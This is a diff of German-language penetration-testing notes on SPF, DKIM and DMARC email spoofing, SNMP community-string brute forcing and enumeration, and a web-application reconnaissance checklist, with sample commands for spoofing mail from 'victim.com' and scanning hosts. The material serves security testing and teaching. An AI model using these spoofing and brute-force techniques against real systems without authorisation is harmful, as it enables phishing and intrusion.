| A | Wenn der Domainname einen Adressdatensatz (A oder AAAA) hat, der auf die Adresse des Absenders aufgelöst werden kann, wird er übereinstimmen. |
|
||||
| IP4 | Wenn der Absender in einem bestimmten IPv4-Adressbereich ist, passt er. |
|
||||
| IP6 | Wenn der Absender in einem bestimmten IPv6-Adressbereich ist, passt er. |
|
||||
| MX | Wenn der Domainname einen MX-Datensatz hat, der auf die Adresse des Absenders aufgelöst wird, wird er übereinstimmen (d.h. die E-Mail kommt von einem der eingehenden Mailserver der Domain). |
|
||||
| PTR | Wenn der Domainname (PTR-Datensatz) für die Adresse des Clients in der angegebenen Domain ist und dieser Domainname auf die Adresse des Clients aufgelöst wird (vorwärts bestätigte umgekehrte DNS), passt er. Dieser Mechanismus wird nicht empfohlen und sollte, wenn möglich, vermieden werden. |
|
||||
| EXISTS | Wenn der angegebene Domainname auf eine beliebige Adresse aufgelöst wird, passt er (unabhängig von der Adresse, auf die er aufgelöst wird). Dies wird selten verwendet. Zusammen mit der SPF-Makrosprache bietet es komplexere Übereinstimmungen wie DNSBL-Abfragen. |
|
||||
| PTR | Wenn der Domainname (PTR-Datensatz) für die Adresse des Clients im angegebenen Domainnamen ist und dieser Domainname auf die Adresse des Clients aufgelöst wird (vorwärts bestätigte umgekehrte DNS), passt er. Dieser Mechanismus wird nicht empfohlen und sollte, wenn möglich, vermieden werden. |
|
||||
| EXISTS | Wenn der angegebene Domainname auf eine beliebige Adresse aufgelöst wird, passt er (unabhängig von der Adresse, auf die er aufgelöst wird). Dies wird selten verwendet. Zusammen mit der SPF-Makrosprache bietet es komplexere Übereinstimmungen wie DNSBL-Abfragen. |
|
||||
| INCLUDE | Verweist auf die Richtlinie einer anderen Domain. Wenn die Richtlinie dieser Domain besteht, besteht dieser Mechanismus. Wenn die eingeschlossene Richtlinie jedoch fehlschlägt, wird die Verarbeitung fortgesetzt. Um vollständig an die Richtlinie einer anderen Domain zu delegieren, muss die Umleitungs-Erweiterung verwendet werden. |
|
||||
| REDIRECT | <p>Eine Umleitung ist ein Verweis auf einen anderen Domainnamen, der eine SPF-Richtlinie hostet. Sie ermöglicht es mehreren Domains, dieselbe SPF-Richtlinie zu teilen. Sie ist nützlich, wenn man mit einer großen Anzahl von Domains arbeitet, die dieselbe E-Mail-Infrastruktur teilen.</p><p>Die SPF-Richtlinie der im Umleitungsmechanismus angegebenen Domain wird verwendet.</p> |
|
||||
|
||||
@ -262,10 +262,10 @@ Normalerweise werden Sie **am Ende jeder SPF-Richtlinie** etwas wie: **\~all** o
|
||||
|
||||
Jeder Mechanismus innerhalb der Richtlinie kann mit einem der vier Qualifizierer vorangestellt werden, um das beabsichtigte Ergebnis zu definieren:
|
||||
|
||||
- **`+`**: Entspricht einem PASS-Ergebnis. Standardmäßig nehmen Mechanismen diesen Qualifizierer an, wodurch `+mx` gleich `mx` ist.
|
||||
- **`+`**: Entspricht einem PASS-Ergebnis. Standardmäßig nehmen Mechanismen diesen Qualifizierer an, wodurch `+mx` gleichwertig zu `mx` ist.
|
||||
- **`?`**: Stellt ein NEUTRAL-Ergebnis dar, das ähnlich wie NONE (keine spezifische Richtlinie) behandelt wird.
|
||||
- **`~`**: Bezeichnet SOFTFAIL und dient als Mittelweg zwischen NEUTRAL und FAIL. E-Mails, die dieses Ergebnis erfüllen, werden typischerweise akzeptiert, aber entsprechend markiert.
|
||||
- **`-`**: Gibt FAIL an und deutet darauf hin, dass die E-Mail vollständig abgelehnt werden sollte.
|
||||
- **`-`**: Gibt FAIL an, was darauf hindeutet, dass die E-Mail vollständig abgelehnt werden sollte.
|
||||
|
||||
Im kommenden Beispiel wird die **SPF-Richtlinie von google.com** veranschaulicht. Beachten Sie die Einbeziehung von SPF-Richtlinien aus verschiedenen Domains innerhalb der ersten SPF-Richtlinie:
|
||||
```shell-session
|
||||
@ -286,15 +286,15 @@ _netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36
|
||||
dig txt _netblocks3.google.com | grep spf
|
||||
_netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"
|
||||
```
|
||||
Traditionell war es möglich, jeden Domainnamen zu fälschen, der keinen korrekten/keinen SPF-Eintrag hatte. **Heutzutage** wird **E-Mail**, die von einer **Domain ohne gültigen SPF-Eintrag** kommt, wahrscheinlich **automatisch abgelehnt/als nicht vertrauenswürdig markiert**.
|
||||
Traditionell war es möglich, jede Domain zu fälschen, die keinen korrekten/keinen SPF-Eintrag hatte. **Heutzutage** wird **E-Mail**, die von einer **Domain ohne gültigen SPF-Eintrag** kommt, wahrscheinlich **automatisch abgelehnt/als nicht vertrauenswürdig markiert**.
|
||||
|
||||
Um den SPF einer Domain zu überprüfen, können Sie Online-Tools wie: [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html) verwenden.
|
||||
|
||||
### DKIM (DomainKeys Identified Mail)
|
||||
|
||||
DKIM wird verwendet, um ausgehende E-Mails zu signieren, sodass sie von externen Mail Transfer Agents (MTAs) durch den Abruf des öffentlichen Schlüssels der Domain aus dem DNS validiert werden können. Dieser öffentliche Schlüssel befindet sich im TXT-Eintrag einer Domain. Um auf diesen Schlüssel zuzugreifen, muss man sowohl den Selector als auch den Domainnamen kennen.
|
||||
DKIM wird verwendet, um ausgehende E-Mails zu signieren, sodass sie von externen Mail Transfer Agents (MTAs) durch den Abruf des öffentlichen Schlüssels der Domain aus dem DNS validiert werden können. Dieser öffentliche Schlüssel befindet sich im TXT-Eintrag einer Domain. Um auf diesen Schlüssel zuzugreifen, muss man sowohl den Selektor als auch den Domainnamen kennen.
|
||||
|
||||
Um beispielsweise den Schlüssel anzufordern, sind der Domainname und der Selector erforderlich. Diese können im E-Mail-Header `DKIM-Signature` gefunden werden, z.B. `d=gmail.com;s=20120113`.
|
||||
Um beispielsweise den Schlüssel anzufordern, sind der Domainname und der Selektor erforderlich. Diese können im E-Mail-Header `DKIM-Signature` gefunden werden, z.B. `d=gmail.com;s=20120113`.
|
||||
|
||||
Ein Befehl, um diese Informationen abzurufen, könnte so aussehen:
|
||||
```bash
|
||||
@ -345,7 +345,7 @@ Das Folgende wurde ursprünglich auf openspf.org veröffentlicht, das früher ei
|
||||
>
|
||||
> Daher ist der Rat an SPF-Publisher: Sie sollten einen SPF-Eintrag für jede Subdomain oder jeden Hostnamen hinzufügen, der einen A- oder MX-Eintrag hat.
|
||||
>
|
||||
> Seiten mit Wildcard-A- oder MX-Einträgen sollten auch einen Wildcard-SPF-Eintrag in der Form haben: \* IN TXT "v=spf1 -all"
|
||||
> Seiten mit Wildcard-A- oder MX-Einträgen sollten ebenfalls einen Wildcard-SPF-Eintrag in der Form haben: \* IN TXT "v=spf1 -all"
|
||||
|
||||
Das macht Sinn - eine Subdomain kann sich sehr wohl an einem anderen geografischen Standort befinden und eine sehr unterschiedliche SPF-Definition haben.
|
||||
|
||||
@ -363,7 +363,7 @@ nmap -p25 --script smtp-open-relay 10.10.10.10 -v
|
||||
```
|
||||
### **Tools**
|
||||
|
||||
- [**https://github.com/serain/mailspoof**](https://github.com/serain/mailspoof) **Überprüfen Sie SPF- und DMARC-Fehlkonfigurationen**
|
||||
- [**https://github.com/serain/mailspoof**](https://github.com/serain/mailspoof) **Überprüfen Sie SPF- und DMARC-Misconfigurationen**
|
||||
- [**https://pypi.org/project/checkdmarc/**](https://pypi.org/project/checkdmarc/) **Automatisch SPF- und DMARC-Konfigurationen abrufen**
|
||||
|
||||
### Spoof-E-Mail senden
|
||||
@ -383,7 +383,7 @@ python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TE
|
||||
```
|
||||
> [!WARNING]
|
||||
> Wenn Sie einen **Fehler bei der Verwendung der dkim Python-Bibliothek** beim Parsen des Schlüssels erhalten, können Sie diesen folgenden verwenden.\
|
||||
> **HINWEIS**: Dies ist nur ein schneller Fix, um schnelle Überprüfungen in Fällen durchzuführen, in denen aus irgendeinem Grund der openssl private key **nicht von dkim geparst werden kann**.
|
||||
> **HINWEIS**: Dies ist nur ein schmutziger Fix, um schnelle Überprüfungen in Fällen durchzuführen, in denen aus irgendeinem Grund der openssl private key **nicht von dkim geparst werden kann**.
|
||||
>
|
||||
> ```
|
||||
> -----BEGIN RSA PRIVATE KEY-----
|
||||
@ -473,7 +473,7 @@ s.sendmail(sender, [destination], msg_data)
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
### **Mehr Informationen**
|
||||
### **Weitere Informationen**
|
||||
|
||||
**Weitere Informationen zu diesen Schutzmaßnahmen finden Sie unter** [**https://seanthegeek.net/459/demystifying-dmarc/**](https://seanthegeek.net/459/demystifying-dmarc/)
|
||||
|
||||
|
||||
@ -28,7 +28,7 @@ Darüber hinaus haben Anbieter die Freiheit, private Zweige zu schaffen. Innerha
|
||||
.png>)
|
||||
|
||||
Sie können durch einen **OID-Baum** hier im Web navigieren: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) oder **sehen, was ein OID bedeutet** (wie `1.3.6.1.2.1.1`), indem Sie [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1) aufrufen.\
|
||||
Es gibt einige **bekannte OIDs**, wie die innerhalb von [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1), die auf die MIB-2 definierten Simple Network Management Protocol (SNMP)-Variablen verweisen. Und von den **OIDs, die von dieser abgeleitet sind**, können Sie einige interessante Hostdaten (Systemdaten, Netzwerkdaten, Prozessdaten...) erhalten.
|
||||
Es gibt einige **bekannte OIDs**, wie die innerhalb von [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1), die auf die MIB-2 definierten Simple Network Management Protocol (SNMP) Variablen verweisen. Und von den **OIDs, die von dieser stammen**, können Sie einige interessante Hostdaten (Systemdaten, Netzwerkdaten, Prozessdaten...) erhalten.
|
||||
|
||||
### **OID Beispiel**
|
||||
|
||||
@ -72,16 +72,16 @@ Es gibt 2 wichtige Versionen von SNMP:
|
||||
|
||||
### Community-Strings
|
||||
|
||||
Wie bereits erwähnt, **um auf die im MIB gespeicherten Informationen zuzugreifen, müssen Sie den Community-String in den Versionen 1 und 2/2c sowie die Anmeldeinformationen in Version 3 kennen.**\
|
||||
Wie bereits erwähnt, **um auf die im MIB gespeicherten Informationen zuzugreifen, müssen Sie den Community-String in den Versionen 1 und 2/2c und die Anmeldeinformationen in Version 3 kennen.**\
|
||||
Es gibt **2 Arten von Community-Strings**:
|
||||
|
||||
- **`public`** hauptsächlich **nur Lese**-Funktionen
|
||||
- **`private`** **Lese/Schreib** im Allgemeinen
|
||||
|
||||
Beachten Sie, dass **die Schreibbarkeit eines OID vom verwendeten Community-String abhängt**, sodass **selbst** wenn Sie feststellen, dass „**public**“ verwendet wird, Sie möglicherweise in der Lage sind, **einige Werte zu schreiben.** Außerdem kann es **Objekte geben**, die **immer "Nur Lesen"** sind.\
|
||||
Beachten Sie, dass **die Schreibbarkeit eines OID vom verwendeten Community-String abhängt**, sodass **selbst** wenn Sie feststellen, dass „**public**“ verwendet wird, Sie möglicherweise in der Lage sind, **einige Werte zu schreiben.** Außerdem **kann** es Objekte geben, die **immer "Nur Lesen" sind.**\
|
||||
Wenn Sie versuchen, ein Objekt zu **schreiben**, erhalten Sie einen **`noSuchName` oder `readOnly` Fehler**\*\*.\*\*
|
||||
|
||||
In den Versionen 1 und 2/2c wird der Server nicht **antworten**, wenn Sie einen **schlechten** Community-String verwenden. Wenn er also antwortet, wurde ein **gültiger Community-String verwendet**.
|
||||
In den Versionen 1 und 2/2c, wenn Sie einen **schlechten** Community-String verwenden, wird der Server nicht **antworten**. Wenn er also antwortet, wurde ein **gültiger Community-String verwendet**.
|
||||
|
||||
## Ports
|
||||
|
||||
@ -89,7 +89,7 @@ In den Versionen 1 und 2/2c wird der Server nicht **antworten**, wenn Sie einen
|
||||
|
||||
- Der SNMP-Agent empfängt Anfragen auf UDP-Port **161**.
|
||||
- Der Manager empfängt Benachrichtigungen ([Traps](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#Trap) und [InformRequests](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#InformRequest)) auf Port **162**.
|
||||
- Wenn er mit [Transport Layer Security](https://en.wikipedia.org/wiki/Transport_Layer_Security) oder [Datagram Transport Layer Security](https://en.wikipedia.org/wiki/Datagram_Transport_Layer_Security) verwendet wird, werden Anfragen auf Port **10161** empfangen und Benachrichtigungen an Port **10162** gesendet.
|
||||
- Wenn es mit [Transport Layer Security](https://en.wikipedia.org/wiki/Transport_Layer_Security) oder [Datagram Transport Layer Security](https://en.wikipedia.org/wiki/Datagram_Transport_Layer_Security) verwendet wird, werden Anfragen auf Port **10161** empfangen und Benachrichtigungen an Port **10162** gesendet.
|
||||
|
||||
## Brute-Force Community-String (v1 und v2c)
|
||||
|
||||
@ -165,7 +165,7 @@ cisco-snmp.md
|
||||
|
||||
## Von SNMP zu RCE
|
||||
|
||||
Wenn du die **String** hast, die es dir erlaubt, **Werte** im SNMP-Dienst zu **schreiben**, könntest du in der Lage sein, dies auszunutzen, um **Befehle auszuführen**:
|
||||
Wenn du die **String** hast, die es dir erlaubt, **Werte** im SNMP-Dienst zu **schreiben**, kannst du möglicherweise diese ausnutzen, um **Befehle auszuführen**:
|
||||
|
||||
{{#ref}}
|
||||
snmp-rce.md
|
||||
@ -173,11 +173,11 @@ snmp-rce.md
|
||||
|
||||
## **Massives SNMP**
|
||||
|
||||
[Braa ](https://github.com/mteg/braa) ist ein massiver SNMP-Scanner. Die beabsichtigte Nutzung eines solchen Tools besteht natürlich darin, SNMP-Abfragen zu stellen – aber im Gegensatz zu snmpwalk von net-snmp kann es Dutzende oder Hunderte von Hosts gleichzeitig und in einem einzigen Prozess abfragen. Dadurch verbraucht es sehr wenige Systemressourcen und führt das Scannen SEHR schnell durch.
|
||||
[Braa ](https://github.com/mteg/braa) ist ein massiver SNMP-Scanner. Die beabsichtigte Nutzung eines solchen Tools besteht natürlich darin, SNMP-Abfragen durchzuführen – aber im Gegensatz zu snmpwalk von net-snmp kann es Dutzende oder Hunderte von Hosts gleichzeitig und in einem einzigen Prozess abfragen. Dadurch verbraucht es sehr wenige Systemressourcen und führt das Scannen SEHR schnell durch.
|
||||
|
||||
Braa implementiert seinen eigenen SNMP-Stack, sodass es keine SNMP-Bibliotheken wie net-snmp benötigt.
|
||||
|
||||
**Syntax:** braa \[Community-String]@\[IP des SNMP-Servers]:\[iso id]
|
||||
**Syntax:** braa \[Community-string]@\[IP des SNMP-Servers]:\[iso id]
|
||||
```bash
|
||||
braa ignite123@192.168.1.125:.1.3.6.*
|
||||
```
|
||||
|
||||
@ -31,13 +31,13 @@ web-api-pentesting.md
|
||||
- [ ] Gibt es eine **bekannte Schwachstelle** der Version der Technologie?
|
||||
- [ ] Verwenden Sie eine **bekannte Technologie**? Gibt es einen **nützlichen Trick**, um mehr Informationen zu extrahieren?
|
||||
- [ ] Gibt es einen **spezialisierten Scanner**, den Sie ausführen können (wie wpscan)?
|
||||
- [ ] Starten Sie **Allzweck-Scanner**. Sie wissen nie, ob sie etwas finden oder ob sie interessante Informationen finden.
|
||||
- [ ] Starten Sie **Allzweck-Scanner**. Sie wissen nie, ob sie etwas finden oder ob sie interessante Informationen entdecken.
|
||||
- [ ] Beginnen Sie mit den **ersten Überprüfungen**: **robots**, **sitemap**, **404**-Fehler und **SSL/TLS-Scan** (wenn HTTPS).
|
||||
- [ ] Beginnen Sie mit dem **Spidering** der Webseite: Es ist Zeit, alle möglichen **Dateien, Ordner** und **Parameter zu finden, die verwendet werden.** Überprüfen Sie auch auf **besondere Funde**.
|
||||
- [ ] _Beachten Sie, dass jedes Mal, wenn ein neues Verzeichnis während des Brute-Forcings oder Spiderings entdeckt wird, es gespidert werden sollte._
|
||||
- [ ] **Verzeichnis-Brute-Forcing**: Versuchen Sie, alle entdeckten Ordner zu brute-forcen, um nach neuen **Dateien** und **Verzeichnissen** zu suchen.
|
||||
- [ ] _Beachten Sie, dass jedes Mal, wenn ein neues Verzeichnis während des Brute-Forcings oder Spiderings entdeckt wird, es brute-forced werden sollte._
|
||||
- [ ] **Backup-Überprüfung**: Testen Sie, ob Sie **Backups** der **entdeckten Dateien** finden können, indem Sie gängige Backup-Erweiterungen anhängen.
|
||||
- [ ] **Backup-Überprüfung**: Testen Sie, ob Sie **Backups** von **entdeckten Dateien** finden können, indem Sie gängige Backup-Erweiterungen anhängen.
|
||||
- [ ] **Brute-Force-Parameter**: Versuchen Sie, **versteckte Parameter** zu finden.
|
||||
- [ ] Sobald Sie alle möglichen **Endpunkte**, die **Benutzereingaben** akzeptieren, **identifiziert** haben, überprüfen Sie alle Arten von **Schwachstellen**, die damit verbunden sind.
|
||||
- [ ] [Befolgen Sie diese Checkliste](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||
@ -47,7 +47,7 @@ web-api-pentesting.md
|
||||
### Identifizieren
|
||||
|
||||
Überprüfen Sie, ob es **bekannte Schwachstellen** für die **Version** des Servers gibt, die ausgeführt wird.\
|
||||
Die **HTTP-Header und Cookies der Antwort** könnten sehr nützlich sein, um die **Technologien** und/oder **Version** zu identifizieren, die verwendet werden. Ein **Nmap-Scan** kann die Serverversion identifizieren, aber auch die Tools [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)oder [**https://builtwith.com/**](https://builtwith.com)**:**
|
||||
Die **HTTP-Header und Cookies der Antwort** könnten sehr nützlich sein, um die **Technologien** und/oder **Version** zu **identifizieren**, die verwendet werden. Ein **Nmap-Scan** kann die Serverversion identifizieren, aber auch die Tools [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)oder [**https://builtwith.com/**](https://builtwith.com)**:**
|
||||
```bash
|
||||
whatweb -a 1 <URL> #Stealthy
|
||||
whatweb -a 3 <URL> #Aggresive
|
||||
@ -64,7 +64,7 @@ Suche **nach** [**Schwachstellen der Webanwendung** **Version**](../../generic-h
|
||||
|
||||
### Web-Technik-Tricks
|
||||
|
||||
Einige **Tricks** zum **finden von Schwachstellen** in verschiedenen bekannten **Technologien**, die verwendet werden:
|
||||
Einige **Tricks** zum **finden von Schwachstellen** in verschiedenen bekannten **Technologien**:
|
||||
|
||||
- [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
|
||||
- [**Apache**](apache.md)
|
||||
@ -86,7 +86,7 @@ Einige **Tricks** zum **finden von Schwachstellen** in verschiedenen bekannten *
|
||||
- [**Laravel**](laravel.md)
|
||||
- [**Moodle**](moodle.md)
|
||||
- [**Nginx**](nginx.md)
|
||||
- [**PHP (PHP hat viele interessante Tricks, die ausgenutzt werden könnten)**](php-tricks-esp/index.html)
|
||||
- [**PHP (php hat viele interessante Tricks, die ausgenutzt werden könnten)**](php-tricks-esp/index.html)
|
||||
- [**Python**](python.md)
|
||||
- [**Spring Actuators**](spring-actuators.md)
|
||||
- [**Symphony**](symphony.md)
|
||||
@ -105,7 +105,7 @@ Wenn die Webanwendung eine bekannte **Technologie/Plattform aus der Liste oben**
|
||||
|
||||
Wenn der **Quellcode** der Anwendung in **github** verfügbar ist, gibt es neben der Durchführung eines **White-Box-Tests** der Anwendung **einige Informationen**, die für das aktuelle **Black-Box-Testing** **nützlich** sein könnten:
|
||||
|
||||
- Gibt es eine **Änderungsprotokoll- oder Readme- oder Versionsdatei** oder irgendetwas mit **Versionsinformationen, das über das Web zugänglich ist**?
|
||||
- Gibt es eine **Änderungsprotokoll- oder Readme- oder Versionsdatei** oder etwas mit **Versionsinformationen, das über das Web zugänglich ist**?
|
||||
- Wie und wo werden die **Anmeldeinformationen** gespeichert? Gibt es eine (zugängliche?) **Datei** mit Anmeldeinformationen (Benutzernamen oder Passwörtern)?
|
||||
- Sind **Passwörter** im **Klartext**, **verschlüsselt** oder welcher **Hash-Algorithmus** wird verwendet?
|
||||
- Wird ein **Master-Schlüssel** zur Verschlüsselung von etwas verwendet? Welcher **Algorithmus** wird verwendet?
|
||||
@ -166,7 +166,7 @@ joomlavs.rb #https://github.com/rastating/joomlavs
|
||||
|
||||
Webserver können **unerwartet reagieren**, wenn seltsame Daten an sie gesendet werden. Dies kann **Schwachstellen** oder **Offenlegung sensibler Informationen** öffnen.
|
||||
|
||||
- Greifen Sie auf **falsche Seiten** wie /whatever_fake.php (.aspx,.html,.etc) zu
|
||||
- Greifen Sie auf **falsche Seiten** wie /whatever_fake.php (.aspx, .html, usw.) zu
|
||||
- **Fügen Sie "\[]", "]]" und "\[\["** in **Cookie-Werte** und **Parameterwerte** ein, um Fehler zu erzeugen
|
||||
- Generieren Sie einen Fehler, indem Sie als Eingabe **`/~randomthing/%s`** am **Ende** der **URL** angeben
|
||||
- Versuchen Sie **verschiedene HTTP-Methoden** wie PATCH, DEBUG oder falsche wie FAKE
|
||||
@ -175,13 +175,13 @@ Webserver können **unerwartet reagieren**, wenn seltsame Daten an sie gesendet
|
||||
|
||||
Wenn Sie feststellen, dass **WebDav** **aktiviert** ist, Sie jedoch nicht über ausreichende Berechtigungen zum **Hochladen von Dateien** im Stammordner verfügen, versuchen Sie:
|
||||
|
||||
- **Brute Force** Anmeldeinformationen
|
||||
- **Dateien hochladen** über WebDav in die **restlichen** **gefundenen Ordner** innerhalb der Webseite. Möglicherweise haben Sie Berechtigungen, um Dateien in anderen Ordnern hochzuladen.
|
||||
- **Brute Force**-Anmeldeinformationen
|
||||
- **Dateien** über WebDav in die **restlichen** **gefundenen Ordner** innerhalb der Webseite hochzuladen. Möglicherweise haben Sie Berechtigungen, um Dateien in anderen Ordnern hochzuladen.
|
||||
|
||||
### **SSL/TLS-Schwachstellen**
|
||||
|
||||
- Wenn die Anwendung **den Benutzer nicht zwingt, HTTPS** in irgendeinem Teil zu verwenden, ist sie **anfällig für MitM**
|
||||
- Wenn die Anwendung **sensible Daten (Passwörter) über HTTP** sendet, ist dies eine hohe Schwachstelle.
|
||||
- Wenn die Anwendung **den Benutzer nicht zwingt, HTTPS** zu verwenden, ist sie **anfällig für MitM**
|
||||
- Wenn die Anwendung **sensible Daten (Passwörter) über HTTP** sendet, ist das eine hohe Schwachstelle.
|
||||
|
||||
Verwenden Sie [**testssl.sh**](https://github.com/drwetter/testssl.sh), um nach **Schwachstellen** zu suchen (In Bug-Bounty-Programmen werden solche Schwachstellen wahrscheinlich nicht akzeptiert) und verwenden Sie [**a2sv**](https://github.com/hahwul/a2sv), um die Schwachstellen erneut zu überprüfen:
|
||||
```bash
|
||||
@ -226,12 +226,12 @@ Starten Sie eine Art von **Spider** im Web. Das Ziel des Spiders ist es, **so vi
|
||||
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite ist ein fortschrittlicher, multifunktionaler GUI-Websicherheits-Crawler/Spider, der für Cybersicherheitsprofis entwickelt wurde.
|
||||
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Es ist ein Go-Paket und [Befehlszeilentool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) zum Extrahieren von URLs, Pfaden, Geheimnissen und anderen interessanten Daten aus JavaScript-Quellcode.
|
||||
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge ist eine einfache **Burp Suite-Erweiterung**, um **Parameter und Endpunkte** aus der Anfrage zu extrahieren, um benutzerdefinierte Wortlisten für Fuzzing und Enumeration zu erstellen.
|
||||
- [**katana**](https://github.com/projectdiscovery/katana) (go): Tolle Tool dafür.
|
||||
- [**katana**](https://github.com/projectdiscovery/katana) (go): Großartiges Tool dafür.
|
||||
- [**Crawley**](https://github.com/s0rg/crawley) (go): Druckt jeden Link, den es finden kann.
|
||||
|
||||
### Brute Force Verzeichnisse und Dateien
|
||||
### Brute Force-Verzeichnisse und -Dateien
|
||||
|
||||
Beginnen Sie mit dem **Brute-Forcing** vom Stammverzeichnis und stellen Sie sicher, dass Sie **alle** **gefundenen Verzeichnisse** mit **dieser Methode** und allen Verzeichnissen, die durch das **Spidering** **entdeckt** wurden, brute-forcen (Sie können dieses Brute-Forcing **rekursiv** durchführen und am Anfang der verwendeten Wortliste die Namen der gefundenen Verzeichnisse anhängen).\
|
||||
Beginnen Sie mit dem **Brute-Forcing** vom Stammordner und stellen Sie sicher, dass Sie **alle** **gefundenen Verzeichnisse** mit **dieser Methode** und alle Verzeichnisse **entdeckt** durch das **Spidering** brute-forcen (Sie können dieses Brute-Forcing **rekursiv** durchführen und am Anfang der verwendeten Wortliste die Namen der gefundenen Verzeichnisse anhängen).\
|
||||
Tools:
|
||||
|
||||
- **Dirb** / **Dirbuster** - In Kali enthalten, **alt** (und **langsam**), aber funktional. Erlaubt automatisch signierte Zertifikate und rekursive Suche. Zu langsam im Vergleich zu den anderen Optionen.
|
||||
@ -250,7 +250,7 @@ Tools:
|
||||
- [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt)
|
||||
- [**Dirsearch** enthaltenes Wörterbuch](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
|
||||
- [http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10](http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10)
|
||||
- [Assetnote Wortlisten](https://wordlists.assetnote.io)
|
||||
- [Assetnote-Wortlisten](https://wordlists.assetnote.io)
|
||||
- [https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content)
|
||||
- raft-large-directories-lowercase.txt
|
||||
- directory-list-2.3-medium.txt
|
||||
@ -264,22 +264,22 @@ Tools:
|
||||
- _/usr/share/wordlists/dirb/big.txt_
|
||||
- _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
|
||||
|
||||
_Bedenken Sie, dass jedes Mal, wenn während des Brute-Forcings oder Spiderings ein neues Verzeichnis entdeckt wird, es brute-forced werden sollte._
|
||||
_Beachten Sie, dass jedes Mal, wenn während des Brute-Forcings oder Spiderings ein neues Verzeichnis entdeckt wird, es brute-forced werden sollte._
|
||||
|
||||
### Was bei jeder gefundenen Datei zu überprüfen ist
|
||||
|
||||
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Finden Sie defekte Links in HTMLs, die anfällig für Übernahmen sein könnten.
|
||||
- **Dateisicherungen**: Sobald Sie alle Dateien gefunden haben, suchen Sie nach Sicherungen aller ausführbaren Dateien ("_.php_", "_.aspx_"...). Häufige Variationen zur Benennung einer Sicherung sind: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp und file.old._ Sie können auch das Tool [**bfac**](https://github.com/mazen160/bfac) **oder** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
|
||||
- **Dateisicherungen**: Sobald Sie alle Dateien gefunden haben, suchen Sie nach Sicherungen aller ausführbaren Dateien ("_.php_", "_.aspx_"...). Häufige Variationen zur Benennung einer Sicherung sind: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp und file.old._ Sie können auch das Tool [**bfac**](https://github.com/mazen160/bfac) **oder** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)** verwenden.**
|
||||
- **Neue Parameter entdecken**: Sie können Tools wie [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **und** [**Param Miner**](https://github.com/PortSwigger/param-miner) **verwenden, um versteckte Parameter zu entdecken. Wenn Sie können, könnten Sie versuchen, versteckte Parameter in jeder ausführbaren Webdatei zu suchen.**
|
||||
- _Arjun alle Standard-Wortlisten:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
|
||||
- _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
|
||||
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
|
||||
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
|
||||
- **Kommentare:** Überprüfen Sie die Kommentare aller Dateien, Sie können **Anmeldeinformationen** oder **versteckte Funktionen** finden.
|
||||
- Wenn Sie **CTF** spielen, ist ein "gewöhnlicher" Trick, **Informationen** in Kommentaren auf der **rechten** Seite der **Seite** zu **verstecken** (indem Sie **hunderte** von **Leerzeichen** verwenden, sodass Sie die Daten nicht sehen, wenn Sie den Quellcode mit dem Browser öffnen). Eine andere Möglichkeit besteht darin, **mehrere neue Zeilen** zu verwenden und **Informationen** in einem Kommentar am **unteren** Ende der Webseite zu **verstecken**.
|
||||
- Wenn Sie **CTF** spielen, ist ein "gewöhnlicher" Trick, **Informationen** in Kommentaren auf der **rechten** Seite der **Seite** zu **verstecken** (unter Verwendung von **Hunderte** von **Leerzeichen**, sodass Sie die Daten nicht sehen, wenn Sie den Quellcode mit dem Browser öffnen). Eine andere Möglichkeit besteht darin, **mehrere neue Zeilen** zu verwenden und **Informationen** in einem Kommentar am **unteren** Ende der Webseite zu **verstecken**.
|
||||
